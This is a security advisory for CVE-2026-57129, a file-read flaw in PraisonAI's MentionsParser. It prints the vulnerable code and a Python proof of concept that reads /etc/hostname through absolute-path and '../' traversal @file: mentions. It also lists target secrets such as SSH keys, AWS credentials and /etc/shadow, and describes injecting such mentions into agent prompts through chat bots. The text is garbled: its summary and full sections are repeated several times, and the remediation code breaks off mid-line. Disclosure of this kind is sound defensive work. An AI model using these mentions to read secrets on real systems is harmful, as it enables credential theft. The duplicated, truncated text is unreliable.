CVE-2026-57129

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, MentionsParser._process_file_mention accepts file-mention values and falls back from workspace-relative resolution to Path(file_path) without traversal, symlink, or workspace-boundary validation. Prompt input from users, bots, or workflows can therefore read arbitrary files accessible to the process, including credentials, keys, environment files, source code, and system configuration. This issue is fixed in praisonaiagents 1.6.59.

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, MentionsParser._process_file_mention accepts file-mention values and falls back from workspace-relative resolution to Path(file_path) without traversal, symlink, or workspace-boundary validation. Prompt input from users, bots, or workflows can therefore read arbitrary files accessible to the process, including credentials, keys, environment files, source code, and system configuration. This issue is fixed in praisonaiagents 1.6.59.

Summary

The MentionsParser in src/praisonai-agents/praisonaiagents/tools/mentions.py processes @file: mentions in agent prompts by reading arbitrary files from the filesystem. When a file path is not found relative to the workspace, the parser falls back to using the path as an absolute path without any validation or boundary check. This allows an attacker who can influence agent prompts (via chat messages, Telegram/Discord/Slack bot inputs, or YAML workflow configs) to read any file on the filesystem accessible to the process user.

Details

Vulnerable code (lines 165–178):

def _process_file_mention(self, file_path: str) -> Optional[str]:
    """Process @file:path mention."""
    try:
        # Resolve path relative to workspace
        full_path = self.workspace_path / file_path
        if not full_path.exists():
            # Try as absolute path
            full_path = Path(file_path)
        
        if not full_path.exists():
            self._log(f"File not found: {file_path}", logging.WARNING)
            return f"# File: {file_path}\n[File not found]"
        
        content = full_path.read_text(encoding="utf-8")

The vulnerability is in the fallback at line 171–172: When the file is not found relative to workspace_path, the code constructs full_path = Path(file_path), which accepts any absolute or relative path without validation. There is no:

• .. path traversal check
• Workspace boundary validation
• Symlink resolution against workspace
• Protected path guard

The file_path parameter originates from parsing @file: mentions in user/LLM prompts. The MentionsParser is used across the framework to process mentions in agent instructions and user messages.

Contrast with skill_tools.py read_skill_file (lines 140–193), which properly validates:

# skill_tools.py line 179 — proper validation
if os.path.commonpath([full_path, skill_path]) != skill_path:
    return f"Error: Path traversal detected - {file_path} is outside skill directory"

PoC

Setup: Clean checkout at commit d5f1114a.

Positive trigger — arbitrary file read via @file: mention:

import sys
sys.path.insert(0, 'src/praisonai-agents')
from praisonaiagents.tools.mentions import MentionsParser

parser = MentionsParser()

# Test 1: Absolute path read (bypasses workspace resolution)
result = parser._process_file_mention('/etc/hostname')
print(f'Absolute path read: {result[:80]}...')

# Test 2: Relative path with traversal
result = parser._process_file_mention('../../../etc/hostname')
print(f'Traversal read: {result[:80]}...')

Expected output:

Absolute path read: # File: /etc/hostname
```linux
<hostname>
```...
Traversal read: # File: ../../../etc/hostname
```linux
<hostname>
```...

Negative control — non-existent file:

result = parser._process_file_mention('/nonexistent/secret.txt')
# Returns: "# File: /nonexistent/secret.txt\n[File not found]"

Cleanup: No persistence or side effects — read-only operation.

Impact

An attacker who can inject @file: mentions into agent prompts (via chat messages in Telegram/Discord/Slack bots, user input in web UI, or YAML workflow configurations) can read any file accessible to the process user, including:

• Secrets and credentials: .env files, ~/.aws/credentials, ~/.ssh/id_rsa, API keys
• Configuration files: Database passwords, JWT secrets, OAuth tokens
• Source code: Application internals, database schemas
• System files: /etc/passwd, /etc/shadow (if process has read access)

This is particularly dangerous in bot deployments where auto_approve_tools defaults to True and untrusted users can send messages containing @file: mentions.

Suggested remediation

1. Remove the absolute path fallback. Only resolve files within workspace_path:

def _process_file_mention(self, file_path: str) -> Optional[str]:
    full_path =…

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, MentionsParser._process_file_mention accepts file-mention values and falls back from workspace-relative resolution to Path(file_path) without traversal, symlink, or workspace-boundary validation. Prompt input from users, bots, or workflows can therefore read arbitrary files accessible to the process, including credentials, keys, environment files, source code, and system configuration. This issue is fixed in praisonaiagents 1.6.59.

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.59, MentionsParser._process_file_mention accepts file-mention values and falls back from workspace-relative resolution to Path(file_path) without traversal, symlink, or workspace-boundary validation. Prompt input from users, bots, or workflows can therefore read arbitrary files accessible to the process, including credentials, keys, environment files, source code, and system configuration. This issue is fixed in praisonaiagents 1.6.59.

Summary

The MentionsParser in src/praisonai-agents/praisonaiagents/tools/mentions.py processes @file: mentions in agent prompts by reading arbitrary files from the filesystem. When a file path is not found relative to the workspace, the parser falls back to using the path as an absolute path without any validation or boundary check. This allows an attacker who can influence agent prompts (via chat messages, Telegram/Discord/Slack bot inputs, or YAML workflow configs) to read any file on the filesystem accessible to the process user.

Details

Vulnerable code (lines 165–178):

def _process_file_mention(self, file_path: str) -> Optional[str]:
    """Process @file:path mention."""
    try:
        # Resolve path relative to workspace
        full_path = self.workspace_path / file_path
        if not full_path.exists():
            # Try as absolute path
            full_path = Path(file_path)
        
        if not full_path.exists():
            self._log(f"File not found: {file_path}", logging.WARNING)
            return f"# File: {file_path}\n[File not found]"
        
        content = full_path.read_text(encoding="utf-8")

The vulnerability is in the fallback at line 171–172: When the file is not found relative to workspace_path, the code constructs full_path = Path(file_path), which accepts any absolute or relative path without validation. There is no:

• .. path traversal check
• Workspace boundary validation
• Symlink resolution against workspace
• Protected path guard

The file_path parameter originates from parsing @file: mentions in user/LLM prompts. The MentionsParser is used across the framework to process mentions in agent instructions and user messages.

Contrast with skill_tools.py read_skill_file (lines 140–193), which properly validates:

# skill_tools.py line 179 — proper validation
if os.path.commonpath([full_path, skill_path]) != skill_path:
    return f"Error: Path traversal detected - {file_path} is outside skill directory"

PoC

Setup: Clean checkout at commit d5f1114a.

Positive trigger — arbitrary file read via @file: mention:

import sys
sys.path.insert(0, 'src/praisonai-agents')
from praisonaiagents.tools.mentions import MentionsParser

parser = MentionsParser()

# Test 1: Absolute path read (bypasses workspace resolution)
result = parser._process_file_mention('/etc/hostname')
print(f'Absolute path read: {result[:80]}...')

# Test 2: Relative path with traversal
result = parser._process_file_mention('../../../etc/hostname')
print(f'Traversal read: {result[:80]}...')

Expected output:

Absolute path read: # File: /etc/hostname
```linux
<hostname>
```...
Traversal read: # File: ../../../etc/hostname
```linux
<hostname>
```...

Negative control — non-existent file:

result = parser._process_file_mention('/nonexistent/secret.txt')
# Returns: "# File: /nonexistent/secret.txt\n[File not found]"

Cleanup: No persistence or side effects — read-only operation.

Impact

An attacker who can inject @file: mentions into agent prompts (via chat messages in Telegram/Discord/Slack bots, user input in web UI, or YAML workflow configurations) can read any file accessible to the process user, including:

• Secrets and credentials: .env files, ~/.aws/credentials, ~/.ssh/id_rsa, API keys
• Configuration files: Database passwords, JWT secrets, OAuth tokens
• Source code: Application internals, database schemas
• System files: /etc/passwd, /etc/shadow (if process has read access)

This is particularly dangerous in bot deployments where auto_approve_tools defaults to True and untrusted users can send messages containing @file: mentions.

Suggested remediation

1. Remove the absolute path fallback. Only resolve files within workspace_path:

def _process_file_mention(self, file_path: str) -> Optional[str]:
    full_path =…

Summary

The MentionsParser in src/praisonai-agents/praisonaiagents/tools/mentions.py processes @file: mentions in agent prompts by reading arbitrary files from the filesystem. When a file path is not found relative to the workspace, the parser falls back to using the path as an absolute path without any validation or boundary check. This allows an attacker who can influence agent prompts (via chat messages, Telegram/Discord/Slack bot inputs, or YAML workflow configs) to read any file on the filesystem accessible to the process user.

Details

Vulnerable code (lines 165–178):

def _process_file_mention(self, file_path: str) -> Optional[str]:
    """Process @file:path mention."""
    try:
        # Resolve path relative to workspace
        full_path = self.workspace_path / file_path
        if not full_path.exists():
            # Try as absolute path
            full_path = Path(file_path)
        
        if not full_path.exists():
            self._log(f"File not found: {file_path}", logging.WARNING)
            return f"# File: {file_path}\n[File not found]"
        
        content = full_path.read_text(encoding="utf-8")

The vulnerability is in the fallback at line 171–172: When the file is not found relative to workspace_path, the code constructs full_path = Path(file_path), which accepts any absolute or relative path without validation. There is no:

• .. path traversal check
• Workspace boundary validation
• Symlink resolution against workspace
• Protected path guard

The file_path parameter originates from parsing @file: mentions in user/LLM prompts. The MentionsParser is used across the framework to process mentions in agent instructions and user messages.

Contrast with skill_tools.py read_skill_file (lines 140–193), which properly validates:

# skill_tools.py line 179 — proper validation
if os.path.commonpath([full_path, skill_path]) != skill_path:
    return f"Error: Path traversal detected - {file_path} is outside skill directory"

PoC

Setup: Clean checkout at commit d5f1114a.

Positive trigger — arbitrary file read via @file: mention:

import sys
sys.path.insert(0, 'src/praisonai-agents')
from praisonaiagents.tools.mentions import MentionsParser

parser = MentionsParser()

# Test 1: Absolute path read (bypasses workspace resolution)
result = parser._process_file_mention('/etc/hostname')
print(f'Absolute path read: {result[:80]}...')

# Test 2: Relative path with traversal
result = parser._process_file_mention('../../../etc/hostname')
print(f'Traversal read: {result[:80]}...')

Expected output:

Absolute path read: # File: /etc/hostname
```linux
<hostname>
```...
Traversal read: # File: ../../../etc/hostname
```linux
<hostname>
```...

Negative control — non-existent file:

result = parser._process_file_mention('/nonexistent/secret.txt')
# Returns: "# File: /nonexistent/secret.txt\n[File not found]"

Cleanup: No persistence or side effects — read-only operation.

Impact

An attacker who can inject @file: mentions into agent prompts (via chat messages in Telegram/Discord/Slack bots, user input in web UI, or YAML workflow configurations) can read any file accessible to the process user, including:

• Secrets and credentials: .env files, ~/.aws/credentials, ~/.ssh/id_rsa, API keys
• Configuration files: Database passwords, JWT secrets, OAuth tokens
• Source code: Application internals, database schemas
• System files: /etc/passwd, /etc/shadow (if process has read access)

This is particularly dangerous in bot deployments where auto_approve_tools defaults to True and untrusted users can send messages containing @file: mentions.

Suggested remediation

1. Remove the absolute path fallback. Only resolve files within workspace_path:

def _process_file_mention(self, file_path: str) -> Optional[str]:
    full_path =…